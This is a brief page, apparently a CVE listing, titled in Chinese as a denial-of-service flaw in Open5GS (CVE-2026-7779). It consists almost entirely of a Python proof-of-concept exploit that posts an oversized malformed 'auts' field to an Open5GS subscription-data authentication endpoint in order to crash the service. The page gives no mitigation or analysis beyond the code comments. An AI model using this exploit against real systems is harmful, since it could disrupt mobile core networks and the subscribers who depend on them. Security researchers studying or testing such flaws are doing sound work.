CVE-2026-7779 Open5GS拒绝服务漏洞

import requests import json # Target configuration target_url = "http://<target-ip>:8000/nudr-dr/v1/subscription-data/imsi-1234567890/authentication-data" # Malformed payload to trigger the DoS in udm_nudr_dr_handle_subscription_authentication # Sending unexpected or large data structure to cause parsing failure payload = { "authenticationMethod": "5G_AKA", "supi": "imsi-1234567890", "servingNetworkName": "5G:mnc001.mcc001", "resynchronizationInfo": { "auts": "malicious_buffer_overflow_data_" + "A" * 10000 } } headers = { "Content-Type": "application/json", "Accept": "application/json" } try: print(f"Sending exploit to {target_url}...") response = requests.post(target_url, data=json.dumps(payload), headers=headers, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Request failed (possible DoS triggered): {e}")